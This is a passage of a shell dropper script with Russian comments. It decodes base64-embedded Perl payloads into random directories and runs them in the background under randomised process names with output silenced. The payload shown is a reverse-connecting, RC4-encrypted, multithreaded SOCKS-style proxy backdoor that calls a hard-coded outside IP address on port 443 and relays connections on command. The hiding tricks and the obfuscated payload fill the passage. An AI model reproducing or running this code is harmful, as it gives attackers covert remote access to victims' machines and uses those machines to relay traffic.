CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #49 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #49 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 50 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk 